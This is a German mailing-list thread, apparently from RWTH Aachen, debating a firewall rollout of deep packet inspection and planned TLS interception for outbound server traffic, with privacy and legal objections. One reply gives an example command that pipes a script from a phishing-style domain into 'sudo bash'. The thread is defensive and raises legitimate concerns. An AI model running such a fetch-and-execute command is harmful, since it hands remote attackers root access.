Hallo,
derzeit (bis eben) sind HTTP-Server hinter einer Policy-Regel, die eine Deep Inspection derselben für HTTP-Zugriffe nach "außen" (nicht RWTH-Netze) beinhaltet. Damit sollte der Download von Schadsoftware unterbunden werden.
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen.
Damit werden diese Servergruppen ab sofort in dieselbe Gruppe wie die eduroam-Netzwerke Netzwerke aufgenommen, für die bereits seit einiger Zeit eine "Deep Inspection" des gesamten nicht verschlüsselten Traffics gilt. Dort scheinen wir ganz gute Erfahrungen gemacht zu haben, auch wenn es dort immer die Möglichkeit von "false positives" gibt.
Sollte also jemand auf seinen Servern Probleme mit Updates oder dem Betrieb insgesamt bemerken (z.B. Performance, erhöhte User Beschwerden, ...), wisst Ihr hoffentlich alle, wenn Ihr zu kontakten habt ;-)
Wir können durchaus auf Ausnahmewünsche (das ist manchmal insbesondere unter Angabe des Kommunikationspartners sinnvoll) und auf "false postives" der Deep Inspection flexibel reagieren.
SSL-Traffic (HTTPS, IMAPS, ...) nach außen ist *derzeit* noch nicht betroffen (s.u.).
Kurz:
wir haben gerade eine "full deep inspection" für ausgehenden Traffic bei den Servergruppen
rwth-http rwth-https rwth-ssh rwth-msrdp
in Betrieb genommen.
Diese Regelung dehnt den Bereich von von bisher 1008 HTTP-Servern auf 2137 HTTP(S), SSH- und RDP-Server in einem höheren Sicherheitsniveau aus.
Kleinere Servergruppen werden hier folgen. Insgesamt haben wir in der RWTH-Firewall 4077 Server registriert.
Gruß, Jens Hektor
P.S.: Die Inspizierung des ausgehenden Verkehrs der Server bedarf weiterer Schritte, da Schadsoftware mittlerweile zunehmend über HTTPS verteilt wird.
Dazu werden wir in der RWTH-Firewall eine Certification Authority (CA) in Betrieb nehmen, die ihrerseits Zertifikate von non-RWTH Servern aufbricht und als Root-CA (!) re-signiert. (nettes Wortspiel) Also eine Root-CA.
Dazu wird es nötig sein, dass auf Euren Servern im Certificate Storage die Root-CA der RWTH Firewall installiert wird. Also ein "bischen" Aufwand auf 2k+ Maschinen. ;-) Oder besser: auf allen Maschinen, die Dienste nach aussen anbieten.
Das ist Teil des TODO für 2019. More follows.
P.P.S. Discussion welcome. Ich verstehe, wenn das weh tuen sollte, aber dazu lassen sich Lösungen finden. Trotzdem: ein go fot feedback!
Wenn jemand über das kommende Aufbrechen von SSL-Verbindungen der Server nach draußen diskutieren will, schlage ich vor, ein anderes Subject in der E-Mail zu benutzen. (first come, first serve)
N’Abend,
Jens Hektor hektor@itc.rwth-aachen.de writes:
Kurz:
wir haben gerade eine "full deep inspection" für ausgehenden Traffic bei den Servergruppen
rwth-http rwth-https rwth-ssh rwth-msrdp
in Betrieb genommen.
Finde ich schon nicht gut (insbesondere, da der HTTP-Proxy mir schon ein paar Mal Verbindungen kaputt gemacht hat), aber gut, wer unverschlüsselten Traffic macht ist auch selbst schuld.
P.S.: Die Inspizierung des ausgehenden Verkehrs der Server bedarf weiterer Schritte, da Schadsoftware mittlerweile zunehmend über HTTPS verteilt wird.
Dazu werden wir in der RWTH-Firewall eine Certification Authority (CA) in Betrieb nehmen, die ihrerseits Zertifikate von non-RWTH Servern aufbricht und als Root-CA (!) re-signiert. (nettes Wortspiel) Also eine Root-CA.
Dazu wird es nötig sein, dass auf Euren Servern im Certificate Storage die Root-CA der RWTH Firewall installiert wird. Also ein "bischen" Aufwand auf 2k+ Maschinen. ;-) Oder besser: auf allen Maschinen, die Dienste nach aussen anbieten.
Nein. Das macht Sicherheit mehr kaputt als es hilft. Standards wie HSTS, HPKP, DANE etc. sind nicht umsonst da. Verschlüsselung, die nicht von Ende zu Ende geht, ist höchstens ein ε über nutzlos, wenn nicht schädlich.
Darf ich jetzt also für FSMPI oder AStA Studierendenschaftsgelder für VPN oder externe ISPs ausgeben, um noch Internet zu haben, das diese Bezeichnung verdient?
--Thomas
PS: Das zwingende eingehende Mailrelay fällt übrigens in die selbe Kategorie und ich habe konkrete Fälle, in denen es uns schadet. Sämtliche Tickets dazu wurden mit einer schwammigen bis völlig das Thema verfehlenden Begründung abgewiesen.
Am 10.02.19 um 19:12 schrieb Thomas Schneider:
Finde ich schon nicht gut (insbesondere, da der HTTP-Proxy mir schon ein paar Mal Verbindungen kaputt gemacht hat),
Naja, die Proxies waren ein anderes Konzept. Beim aktuellen sind wir wesentlich flexibler aufgestellt, was die Behandlung von Ausnahmen und das Beheben von False Positives betrifft.
Die Problem mit den Proxies betrafen die Server der FSMPI?
Bei aller Aufregung: wir reden hier über Server, die dem Internet ausgesetzt sind. Nicht über User Endsysteme.
aber gut, wer unverschlüsselten Traffic macht ist auch selbst schuld.
Wie zum Beispiel einige Forefront geschützte Systeme für ihre Updates :-) Schon gefixed.
Nein. Das macht Sicherheit mehr kaputt als es hilft. Standards wie HSTS, HPKP, DANE etc. sind nicht umsonst da. Verschlüsselung, die nicht von Ende zu Ende geht, ist höchstens ein ε über nutzlos, wenn nicht schädlich.
Es kommt immer darauf an, was man aufbricht und was nicht.
Du hattest das P.P.S. aus Deiner Zitierung gestrichen, aber ich führe das hier mal aus:
<spock> Natürlich besteht bei Geräten, deren Genauigkeit so schwer zu steuern ist, die Gefahr von Fehlfunktionen, das muss bedacht werden. </spock>
Man sollte seinen Traffic bzw. sein Trafficprofil kennen. Und das lässt sich in eine (Inspection) Policy rein-engineeren. Mir geht es um den Traffic, den man "so nicht erwartet".
Mir gehts es nicht darum, um jeden Preis alles zu öffnen, sondern wer mich kennt weiß, dass ich "sozialverträgliche" und den Betrieb nicht störende Maßnahmen bevorzuge. (Die RWTH-Firewall wurde über 15 Jahre dahin entwickelt, dass sie dann bereits war, auch alle Ports zu schlissen).
Ähnlich stelle ich mir das hier vor.
Es geht darum, die Hochschule unter Berücksichtigung der aktuellen Vorgaben (schon mal DSVGO gelesen? Das häufige Auftauchen der Formulierung "Stand der Technik" wahrgenommen?) *geeignet' aufzustellen.
Es geht hier nicht darum, unsere Nutzer auszuspionieren, sondern eher darum, dem ausspionieren unseres Netzes durch Dritte ein paar Steine in den Weg zulegen.
Darf ich jetzt also für FSMPI oder AStA Studierendenschaftsgelder für VPN oder externe ISPs ausgeben, um noch Internet zu haben, das diese Bezeichnung verdient?
<off> Prima, welches Vertrauen dem IT Center entgegen gebracht wird, und erstaunlich, wieviel Vertrauen in die freie Wirtschaft existiert. </off>
Kennst Du die Geschäftsmodelle externer VPN-Anbieter?
Anyway: hic Rhodos, hic salta.
PS: Das zwingende eingehende Mailrelay fällt übrigens in die selbe Kategorie und ich habe konkrete Fälle, in denen es uns schadet. Sämtliche Tickets dazu wurden mit einer schwammigen bis völlig das Thema verfehlenden Begründung abgewiesen.
Das erklär mir bitte mal per PM.
Gruß, Jens Hektor
Guten Morgen,
On 10.02.2019 20:44, Jens Hektor wrote:
Darf ich jetzt also für FSMPI oder AStA Studierendenschaftsgelder für VPN oder externe ISPs ausgeben, um noch Internet zu haben, das diese Bezeichnung verdient?
<off> Prima, welches Vertrauen dem IT Center entgegen gebracht wird, und erstaunlich, wieviel Vertrauen in die freie Wirtschaft existiert. </off>
Kennst Du die Geschäftsmodelle externer VPN-Anbieter?
Das tolle ist ja: Dem externen VPN-Anbieter muss man nicht vertrauen, da er nicht unbemerkt das TLS aufmachen und alle Daten einmal mitlesen kann. Das sieht bei den Plänen des ITC (zumindest hinsichtlich dem effektiv 'einmal alle Daten mitlesen') anders aus.
(Und nein, dem ITC bringe ich bei unverschlüsseltem Traffic kein Vertrauen entgegen, aber das sieht bei allem anderen zwischen mir und dem richtigen Server auch nicht anders aus.)
Aber immerhin haben die Firewallappliances sicherlich ein HSM, damit man sich keine Sorgen machen muss, dass der private key verloren geht. Wie funktioniert das genau mit der Keyerstellung und dem Verteilen zwischen den Appliances denn genau?
Mit freundlichen Grüßen Markus Witt
On 2/10/19 8:44 PM, Jens Hektor wrote:> Es geht darum, die Hochschule unter Berücksichtigung
der aktuellen Vorgaben (schon mal DSVGO gelesen? Das häufige Auftauchen der Formulierung "Stand der Technik" wahrgenommen?) *geeignet' aufzustellen.
Dazu gehört es auch, sich vor DPI durch Dritte zu schützen. Gerade die Wohnheime werden sich nicht als Teil der Hochschule sehen. Dritten, in deren Technik und Prozesse man keinen Einblick hat und gegen die man im Zweifelsfall auch keine Handhabe hat, so weit zu vertrauen, ist nicht Stand der Technik. Ob die Maßnahme nun ein Nettosicherheitsgewinn ist oder nicht spielt unter dem Aspekt kaum eine Rolle.
Hallo,
Am 10.02.2019 um 20:44 schrieb Jens Hektor:
Es geht darum, die Hochschule unter Berücksichtigung der aktuellen Vorgaben (schon mal DSVGO gelesen? Das häufige Auftauchen der Formulierung "Stand der Technik" wahrgenommen?) *geeignet' aufzustellen.
Ich weiß, Paragraphenreiter ist weithin auch nur eine Analogie eines langweiligen Spießers, aber da hier so viel über DSGVO gesprochen wird, werfe ich mein Halbwissen auch mal in die Schale.
Vorkommen folgender Worte in der DSGVO (Amtsblatt vom 4.5.2016):
"Technik": 13x "Stand": 4x "Stands": 4x
Davon passt das Wort "Technik" viermal in den obig zitierten Kontext. Zwei davon beziehen sich darauf, dass der "Stand der Technik" eingesetzt werden soll, um Datenschutz sicherzustellen.
Witzigerweise verlangt dagegen Absatz 83 des Vorwortes/Einführung
"(83) Zur Aufrechterhaltung der Sicherheit und zur Vorbeugung gegen eine gegen diese Verordnung verstoßende Verarbeitung sollte der Verantwortliche oder der Auftragsverarbeiter die mit der Verarbeitung verbundenen Risiken ermitteln und Maßnahmen zu ihrer Eindämmung, wie etwa eine *Verschlüsselung*, treffen. [...]"
Selbst, wenn man einen gewissen Interpretationsspielraum der Artikel zulässt, so kann diese Anzahl an Wörtern kaum mit dem Wort "häufig" beschrieben werden. Ferner kehren diese eigentlich die Argumentation um, da nach "Stand der Technik" eben gerade gewährleistet werden soll, dass Daten geschützt werden.
Tatsächlich steht die DSGVO als europäische Richtlinie über allen anderen Gesetzen - sie darf auf nationaler Ebene nicht durch anderslautende Gesetze eingeschränkt werden.
Eine Ausnahme dazu liefert Artikel 23 DSGVO, der eine Ausnahme von dieser übergreifenden Richtlinie erlaubt "[...] sofern eine solche Beschränkung den Wesensgehalt der Grundrechte und Grundfreiheiten achtet und in einer demokratischen Gesellschaft eine notwendige und verhältnismäßige Maßnahme darstellt [...]".
Dieser "Wesensgehalt der Grundrechte" ist in Deutschland Artikel 10 Grundgesetz, das "Post- und Fernmeldegeheimnis" und damit einer der zentralen Grundwerte auf dessen Basis wir unsere Wertegemeinschaft gründen. Die §§ 202-202b StGB i.V.m. § 88 TKG tun ihr übriges, um dieses Grundrecht zu schützen und verbieten eigentlich das fremde Öffnen einer nichtöffentlichen Kommunikation.
Artikel 32 DSGVO sagt zur "Sicherheit der Verarbeitung"
Unter Berücksichtigung des Stands der Technik, der Implementierungskosten und der Art, des Umfangs, der Umstände und der Zwecke der Verarbeitung sowie der unterschiedlichen Eintrittswahrscheinlichkeit und Schwere des Risikos für die Rechte und Freiheiten natürlicher Personen treffen der Verantwortliche und der Auftragsverarbeiter geeignete technische und organisatorische Maßnahmen, um ein dem Risiko angemessenes Schutzniveau zu gewährleisten; [...]
Berücksichtigt werden sollte demnach neben dem Stand der Technik auch
* die Art * der Umfang * Eintrittswahrscheinlichkeit * schwere des Risikos
Dies leitet über auf die Frage nach der Verhältnismäßigkeit zwischen einem Eingriff und einem Zweck einer Maßnahme und ob nicht mildere Mittel zur Verfügung stehen.
Eine kurze Statistik über die Anzahl bisher aufgetretener Fälle und ihre sicherheitstechnischen Auswirkungen auf einen Benutzerkreis, ein Institut oder die gesamte Hochschule wäre an dieser Stelle sehr hilfreich und gute wissenschaftliche Praxis, um eine konkrete Fragestellung in einen konkreten Kontext einbetten zu können. So wirkt es momentan, als würden "Horden von [hier Land einsetzen] Hackern" täglich versuchen, unser Hochschulnetz zu infiltrieren.
Als Maschinenbauer habe ich gelernt, unter Berücksichtigung aller Einflussfaktoren eine Verhältnismäßigkeit zwischen Kosten / Aufwand und Nutzen zu wahren. Dieses Prinzip kann durchaus auf diese Fragestellung angewandt werden, da einige wenige Fälle mit vielleicht mittelschwerer Gefährlichkeit keinesfalls rechtfertigen, dass dafür pauschal ein wesentliches Merkmal einer gesicherten Datenübertragung aufgebrochen wird. Zumal das Ende der Einsatzmöglichkeiten offenbar noch nicht erreicht ist, wenn ich dem von Jens selbst zitierten Beitrag der TU Clausthal folge.
Nach Filterregeln wurde schon gefragt, teilweise wurde es beantwortet. Geplant ist offenbar, dass ausgehender Traffic unterschieden wird zwischen "gut" und "nicht gut". Dabei soll "guter" Traffic nicht inspiziert/resigniert werden. Somit kann diese Unterscheidung nur auf Layer 3 erfolgen und erst dann beschlossen werden, dass auf Layer 5+ näher geschaut werden soll. Ergo verbleibt die Frage, wieso überhaupt nochmal so tief nachgeschaut werden soll. Nur die Zahl an false positives? Die müsste dann auch jetzt schon signifikant sein.
Dies leitet über zu der schon (in dieser oder anderen Formen) genannten Frage, ob eine Pauschalisierung oder Gleichbehandlung in einem Netzwerk mit zunehmend heterogenen Nutzungsmöglichkeiten überhaupt noch Sinn macht oder ob eine Unterteilung in "Gefährdungsklassen" nicht eher "Stand der Technik" ist. Nicht jeder Teilnehmer braucht den umfangreichen Schutz eines Institutes und nicht jedes Institut will die Berücksichtigungen einer Fachschaft oder einer Studierendenwohnanlage. Da die Anforderungen hier weit auseinander driften, ist diese Frage gerade in dem Kontext dieser Diskussion meiner Meinung nach angebracht und ein ernsthaftes, darüber nachdenken, wert.
Denn der Grundsatz dieser Diskussion ist doch wohl eher der Zwiespalt des IT Centers, einerseits Datenschutz zu betreiben, indem man (perfiderweise) alle Möglichkeiten nutzt zu überwachen, welche Daten unberechtigt und unerlaubt abgeführt werden und andererseits zu berücksichtigen, dass Datenschutz eben auch insbesondere das Recht bedeutet, dass meine Daten vor dem Zugriff anderer geschützt sind und nicht angefasst werden. Gepaart mit der berechtigten Sorge einiger Diskussionsteilnehmer, dass damit Grundlagen für Möglichkeiten geschaffen werden, die später - z.B. nach dem Renteneintritt von Jens - noch weitreichender als jetzt genutzt werden können. Was einmal etabliert ist, wird später kaum noch zurückgenommen.
Grüße, Stefan Sutter
Guten Morgen,
On 09.02.2019 23:25, Jens Hektor wrote:
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen
Welche Vorfälle waren das genau, über welche Schwachstellen sind Angreifer auf Systeme gekommen und was genau hat das mit sinnvoll konfigurierten SSH-Servern[0] zu tun? Gibt es post-mortems, von denen auch andere lernen können?
Damit werden diese Servergruppen ab sofort in dieselbe Gruppe wie die eduroam-Netzwerke Netzwerke aufgenommen, für die bereits seit einiger Zeit eine "Deep Inspection" des gesamten nicht verschlüsselten Traffics gilt
Wie genau wird Traffic inspiziert? Welche Filterlisten werden verwendet? Gegen was wird ein Paket alles geprüft, das die DPI-Lösung passiert? Was wird wie lange gespeichert?
Was ich da bisher mitbekommen habe, bestand primär aus Blacklists - wo dann plötzlich Seiten des CCC in die Kategorie "Malware" fallen[1] und nur noch über https erreichbar sind[2].
P.S.: Die Inspizierung des ausgehenden Verkehrs der Server bedarf weiterer Schritte, da Schadsoftware mittlerweile zunehmend über HTTPS verteilt wird.
Dazu werden wir in der RWTH-Firewall eine Certification Authority (CA) in Betrieb nehmen, die ihrerseits Zertifikate von non-RWTH Servern aufbricht und als Root-CA (!) re-signiert. (nettes Wortspiel)
Haha, resignieren. Ja, das liegt bei einer EMail wie dieser nahe.
Dazu wird es nötig sein, dass auf Euren Servern im Certificate Storage die Root-CA der RWTH Firewall installiert wird. Also ein "bischen" Aufwand auf 2k+ Maschinen. ;-) Oder besser: auf allen Maschinen, die Dienste nach aussen anbieten.
Wie sieht das denn mit Fernmeldegeheimnis und DSGVO aus? So ein Server kann ja durchaus mal eine TLS-Verbindung aufmachen und Daten übertragen, die von einem Nutzer stammen[3] und wenn in der Aufzählung von
SSL-Traffic (HTTPS, IMAPS, ...) nach außen ist *derzeit* noch nicht betroffen (s.u.).
auch schon explizit IMAPS genannt wird, scheint auch durchaus an das Abholen von EMails aus einem externen Postfach gedacht zu sein?
Wie sieht das mit Authentifizierung mit TLS-Clientzertifikaten aus?
Was ist mit auf Servern installierter Software, die certificate-pinning/HPKP nutzen oder EV-Zertifikate sinnvoll implementieren? In Firefox[4] kann eine CA für EV-Zertifikate nur in einem Debugbuild oder durch Selbstbau hinzugefügt werden[5] und wenn man etwas auf Servern will, sind es sicherlich selbstgebaute Anwendungen, die dann nie wieder geupdatet werden.
Wenn jemand über das kommende Aufbrechen von SSL-Verbindungen der Server nach draußen diskutieren will, schlage ich vor, ein anderes Subject in der E-Mail zu benutzen. (first come, first serve)
Da hatte Thomas ja schon die passende Idee.
Mit freundlichen Grüßen Markus Witt
[0] z.B. deaktivierte Passwortauthentifizierung oder Passwörter nur in Kombination mit einem zweiten Faktor wie TOTP. [1] https://twitter.com/_pub_feuerrot/status/856823162696343553 [2] Das war dann auch ein guter Zeitpunkt, um mal HSTS anzumachen [3] "Telegrambot" war da so ein Anwendungsbeispiel aus der NetzAG-Gruppe [4] Ein anderes Beispiel habe ich gerade nicht zur Hand, aber ich nehme mal an, dass das bei anderer Software ggf. ähnlich ist. [5] https://sidstamm.com/evssl-trust/firefox-evca.html
Am 10. Februar 2019 22:42:42 MEZ schrieb Markus Witt markus@fsmpi.rwth-aachen.de:
Guten Morgen, On 09.02.2019 23:25, Jens Hektor wrote:
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen
Welche Vorfälle waren das genau, über welche Schwachstellen sind Angreifer auf Systeme gekommen und was genau hat das mit sinnvoll konfigurierten SSH-Servern[0] zu tun? Gibt es post-mortems, von denen auch andere lernen können?
Wir hatten auf einem Wohnheimsmailserver schon mal so einen Fall. Ewig her, aber zeigt das Problem. Jemand (tm) hatte zum testen den Webmailer roundcube 0.2-beta installiert. Leider nicht als Paket von debian sondern vom Archiv. Etwas mit rumgespielt und dann vergessen.
Roundcube hatte dann eine Lücke (CVE-2008-5619) die natürlich bei uns nicht gepatcht wurde. Das wollte irgendeiner dann ausnutzen, aber da unsere Server keinerlei http nach draußen kommunizieren durften (als webmailserver "rein" schon), konnte die payload vom exploit nicht nachgeladen werden. Also war der Angriff vereitelt.
Ich glaube, dass unsere Firewall Regel "http nur zu ftp.halifax für updates erlaubt" für viele Server nicht funktioniert. Daher ist ein reingucken und evtl (je nach Inhalt) blocken den Admins einfacher zu kommunizieren.
Grüße Holger Jeromin
Hi,
Am 10.02.19 um 22:42 schrieb Markus Witt:
Guten Morgen,
ok. Die FSMPI hat offensichtlich ihren Sitz in Kalifornien ;-)
[grummel: immer noch das "Verringerung" Subject - fällt Euch echt nix besseres ein?]
<off> Mist. Ich hätte während des Studiums nicht mit "somebody wrong" Gitarre spielen sollen. </off>
On 09.02.2019 23:25, Jens Hektor wrote:
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen
Welche Vorfälle waren das genau, über welche Schwachstellen sind Angreifer auf Systeme gekommen und was genau hat das mit sinnvoll konfigurierten SSH-Servern[0] zu tun? Gibt es post-mortems, von denen auch andere lernen können?
Postmortems sind immer Spass, also hier als Beispiel:
https://www.google.com/search?q=jens+hektor+fun
Zweiter hit, Case hier ab Seite 11, aber der Rest darf auch gelsen werden, wg. Zusammenhang.
Damit werden diese Servergruppen ab sort in dieselbe Gruppe wie die eduroam-Netzwerke Netzwerke aufgenommen, für die bereits seit einiger Zeit eine "Deep Inspection" des gesamten nicht verschlüsselten Traffics gilt
Wie genau wird Traffic inspiziert? Welche Filterlisten werden verwendet?
Endlich. Einer fragt.
Wir reden hier über "deep inspection". Die Filterlisten können auch IP-Adressen sein (layer 3) aber im Regelfall reden wir über Layer 5+ also den Inhalt der (typischewrweise TCP-) Pakete.
Hier greifen Muster, wie msn sie aus klassischen Intrusion Detection Systemen (IDS - bekannte Namen: snort [Achtung: jetzt cisco], bro, surcicata) kennt, aber eben mit dem Service des Herstellers (Forcepoint, bzw. Ihrer NGFW Division die früher Stonesoft hies - <google keywords completed/>)
Gegen was wird ein Paket alles geprüft, das die DPI-Lösung passiert?
Hähähähä. Das wüsste ich auch gern. :-)
Im Ernst: die Firewall hat eine recht große Anzahl Signaturen, und ich habe regelmäßig Kontakt mit dem Hersteller wegen Mängeln in diesen. :-/
Was wird wie lange gespeichert?
Ups. Jetzt wirds berechtigerweise indiskret :-)
"Terminates", also Signaturen, bei denen wir gestört haben, ziemlich lange (~halbes Jahr).
"permits" solange bis wir das logging ausschalten.
Typischerweise haben wir in den hier relavanten "permit" Fällen aber keine "POST"-Daten, die noch relavant sein könnten.
Also in beiden Fällen: IP-Adressen, Portnummern, IDS_Signatur ggf. URLs, wenn eine Signatur triggerte. Der meiste Kram davon ist uninteressant, und wenn nicht, gibts es eine E-Mail an die Admins/User. Das wird typischerweise täglich durchgesehen (keine AI, sondern HI). Also grauenvolle Handarbeit Prüfung externer IPs, seltener URLs, Google mit Keywords "threat", "malware" usw. Halt normale SOC-Arbeit.
Solche Log-Daten fallen aber nur an, wenn eine "wie auch immer qualifizerte Signatur" des Hersteller triggerte.
also:
a) selten (ich kriege das ja noch abgearbeitet - oder er ist Mist ;-) ) b) häufig. Dann gibts ein Problem zu lösen: Client kaputt konfiguriert, Signatur Müll, oder echtes Problem -> Mail an Admin/User.
Was ich da bisher mitbekommen habe, bestand primär aus Blacklists - wo
Korrekt. Dokumentiert hier:
https://www.google.com/search?q=rwth+firewall
dann plötzlich Seiten des CCC in die Kategorie "Malware" fallen[1] und nur noch über https erreichbar sind[2].
Diese References in E-Mials sind ja manchmal eine Unsitte. Schreibt die URLs doch direkt.
Hochkopiert:
[1] https://twitter.com/_pub_feuerrot/status/856823162696343553
(alter Proxy-Scheiss - sorry - von 2017)
Äh:
https://maintenance.rz.rwth-aachen.de/ticket/status/messages/23-www-proxy-se...
(auch alter Proxy-Scheiss von 2017 - morgen reist man mir den Kopf deswegen ab).
[2] Das war dann auch ein guter Zeitpunkt, um mal HSTS anzumachen
Das ist eine Referenz? Äh. Nein.
Wie sieht das denn mit Fernmeldegeheimnis und DSGVO aus? So ein Serve> kann ja durchaus mal eine TLS-Verbindung aufmachen und Daten übertragen, die von einem Nutzer stammen[3] und wenn in der Aufzählung von
Huh. Ein Proxy?
In solchen Fällen bzw. Einsatzszenarien solltest Du mit Deinem ISP (Kuckuck: IT Center) reden: "Dein Server baut eine TLS Verbindung auf und überträgt Daten, die von einem Nutzer stammen"?
Klingt interessant. Really.
Wie sieht es mit "Absicherung der Server nach Stand der Technik" aus der DSVGO aus?
SSL-Traffic (HTTPS, IMAPS, ...) nach außen ist *derzeit* noch nicht betroffen (s.u.).
Yup. As of today!
auch schon explizit IMAPS genannt wird, scheint auch durchaus an das Abholen von EMails aus einem externen Postfach gedacht zu sein?
Gotme! NEIN. IMAPS in der Fläche mit Sicherheit nein. Aber: ruft *Dein* Server IMAPS ab?
Ja? Dann werden wir fragen: wieso denn? Ja was geht da ab?
Wie sieht das mit Authentifizierung mit TLS-Clientzertifikaten aus?
Habt Ihr auf Euren Servern Client Zertificate? Ich hoffe mal nicht.
Was ist mit auf Servern installierter Software, die certificate-pinning/HPKP nutzen oder EV-Zertifikate sinnvoll implementieren?
"sinnvoll?" wäre eine Gegenfrage, im konkreten Fall: Telefon, E-Mail: "hier ist was kaputt"?
In Firefox[4] kann eine CA für EV-Zertifikate nur in einem Debugbuild oder durch Selbstbau hinzugefügt werden[5] und wenn man etwas auf Servern will, sind es sicherlich selbstgebaute Anwendungen, die dann nie wieder geupdatet werden.
???
ls /etc/ssl/certs/
Wenn jemand über das kommende Aufbrechen von SSL-Verbindungen der Server nach draußen diskutieren will, schlage ich vor, ein anderes Subject in der E-Mail zu benutzen. (first come, first serve)
Da hatte Thomas ja schon die passende Idee.
Mag sein. Thomas hatte sicher eine Gedanken, was er mit "Verringerung" meinte, hat es aber nur in einem kleinen Abschnitt angedeutet.
Es geht hier aber nicht um eine "Verringerung des Sicherheitsneiveaus", Privacy breakouts, oder andere Eurer Sorgen.
Es geht darum in Zukunft klare Aussagen über das Kommunikationsprofil der Server der RWTH treffen zu können.
Eine Aussagen oben haben mir die Haare zu Berge stehen lassen.
Es geht hier nicht um Verletzung irgendwelcher Privacy.
Es geht hier darum, wie aktuelle Techniken so eingesetzt werden können, dass wir einen Vorteil davon haben, ohne die DSGVO zu verletzten.
Ja. Hier ist eine grundsätzliche Diskussion gefordert, aber keine Grundsatzdiskussion. Hier müssen technische (im Sinne von: Ingeniuer) Gegebenheiten diskutiert werden.
Ich sage es mal so: der Traffic muss klassifiziert, qualifiziert und reguliert werden.
Und bevor jetzt wieder ein Studi "mimimi" ruft: is ok. Aber sach klar, was is.
Gruß, Jens Hektor
P.S. Gute Nacht. Das ist meine Zeitzone.
Moin,
nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben haben, möchte ich mal versuchen konstruktiv zu sein.
Ich kann das Bedürfnis / die Bemühungen seitens des RZs sehr gut nachvollziehen, das RWTH-Netz abzusichern.
Ich muss sagen, dass ich auch lange gebraucht habe um deine E-Mail zu verstehen. Insbesondere was ihr vor habt. Zur Klarstellung:
Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet überwacht werden sollen, also z.B. das berühmte
curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash.
Was natürlich auch von Malware gemacht werden kann.
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre.
Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon getestet habt. Wenn ja, mit welchem Erfolg? Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?, welche System sind betroffen).
Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben in der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch betrachtet werden?
Soll nur überwacht werden oder auch geblockt werden?
Ich denke das sind genug Fragen. Eine Anmerkung bleibt: https://jhalderm.com/pub/papers/interception-ndss17.pdf
Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine Verringerung der Sicherheit bedeutet.
Viele Grüße Rikus
On 11.02.19 01:19, Jens Hektor wrote:
Hi,
Am 10.02.19 um 22:42 schrieb Markus Witt:
Guten Morgen,
ok. Die FSMPI hat offensichtlich ihren Sitz in Kalifornien ;-)
[grummel: immer noch das "Verringerung" Subject - fällt Euch echt nix besseres ein?]
<off> Mist. Ich hätte während des Studiums nicht mit "somebody wrong" Gitarre spielen sollen. </off>
On 09.02.2019 23:25, Jens Hektor wrote:
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen
Welche Vorfälle waren das genau, über welche Schwachstellen sind Angreifer auf Systeme gekommen und was genau hat das mit sinnvoll konfigurierten SSH-Servern[0] zu tun? Gibt es post-mortems, von denen auch andere lernen können?
Postmortems sind immer Spass, also hier als Beispiel:
https://www.google.com/search?q=jens+hektor+fun
Zweiter hit, Case hier ab Seite 11, aber der Rest darf auch gelsen werden, wg. Zusammenhang.
Damit werden diese Servergruppen ab sort in dieselbe Gruppe wie die eduroam-Netzwerke Netzwerke aufgenommen, für die bereits seit einiger Zeit eine "Deep Inspection" des gesamten nicht verschlüsselten Traffics gilt
Wie genau wird Traffic inspiziert? Welche Filterlisten werden verwendet?
Endlich. Einer fragt.
Wir reden hier über "deep inspection". Die Filterlisten können auch IP-Adressen sein (layer 3) aber im Regelfall reden wir über Layer 5+ also den Inhalt der (typischewrweise TCP-) Pakete.
Hier greifen Muster, wie msn sie aus klassischen Intrusion Detection Systemen (IDS - bekannte Namen: snort [Achtung: jetzt cisco], bro, surcicata) kennt, aber eben mit dem Service des Herstellers (Forcepoint, bzw. Ihrer NGFW Division die früher Stonesoft hies - <google keywords completed/>)
Gegen was wird ein Paket alles geprüft, das die DPI-Lösung passiert?
Hähähähä. Das wüsste ich auch gern. :-)
Im Ernst: die Firewall hat eine recht große Anzahl Signaturen, und ich habe regelmäßig Kontakt mit dem Hersteller wegen Mängeln in diesen. :-/
Was wird wie lange gespeichert?
Ups. Jetzt wirds berechtigerweise indiskret :-)
"Terminates", also Signaturen, bei denen wir gestört haben, ziemlich lange (~halbes Jahr).
"permits" solange bis wir das logging ausschalten.
Typischerweise haben wir in den hier relavanten "permit" Fällen aber keine "POST"-Daten, die noch relavant sein könnten.
Also in beiden Fällen: IP-Adressen, Portnummern, IDS_Signatur ggf. URLs, wenn eine Signatur triggerte. Der meiste Kram davon ist uninteressant, und wenn nicht, gibts es eine E-Mail an die Admins/User. Das wird typischerweise täglich durchgesehen (keine AI, sondern HI). Also grauenvolle Handarbeit Prüfung externer IPs, seltener URLs, Google mit Keywords "threat", "malware" usw. Halt normale SOC-Arbeit.
Solche Log-Daten fallen aber nur an, wenn eine "wie auch immer qualifizerte Signatur" des Hersteller triggerte.
also:
a) selten (ich kriege das ja noch abgearbeitet - oder er ist Mist ;-) ) b) häufig. Dann gibts ein Problem zu lösen: Client kaputt konfiguriert, Signatur Müll, oder echtes Problem -> Mail an Admin/User.
Was ich da bisher mitbekommen habe, bestand primär aus Blacklists - wo
Korrekt. Dokumentiert hier:
https://www.google.com/search?q=rwth+firewall
dann plötzlich Seiten des CCC in die Kategorie "Malware" fallen[1] und nur noch über https erreichbar sind[2].
